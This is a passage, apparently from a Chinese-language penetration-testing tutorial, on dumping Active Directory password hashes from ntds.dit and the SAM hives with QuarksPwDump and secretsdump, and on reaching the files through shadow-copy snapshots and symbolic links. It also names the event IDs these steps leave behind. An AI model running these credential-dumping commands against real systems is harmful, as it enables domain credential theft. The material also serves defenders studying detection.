QuarksPwDump.exe --dump-hash-domain --output mingy.com.txt --ntds-file ntds.dit
SecretsDump
通過 impacket 套件中的 secretsdump.py 腳本
secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL NtdsAudit
https://github.com/Dionach/NtdsAudit
8 擴展
1. 日志文件
調用 Volume Shadow Copy 服務會產生日志文件,位于 System 下, Event ID 為 7036
執行 ntdsutil snapshot "activate instance ntds" create quit quit 會額外產生 Event ID 為
98 的日志文件
2. 訪問快照中的文件
查看快照列表:
vssadmin list shadows
無法直接訪問 \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12 中的文件
可通過創建符號鏈接訪問快照中的文件:
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\
刪除符號鏈接:
rd c:\testvsc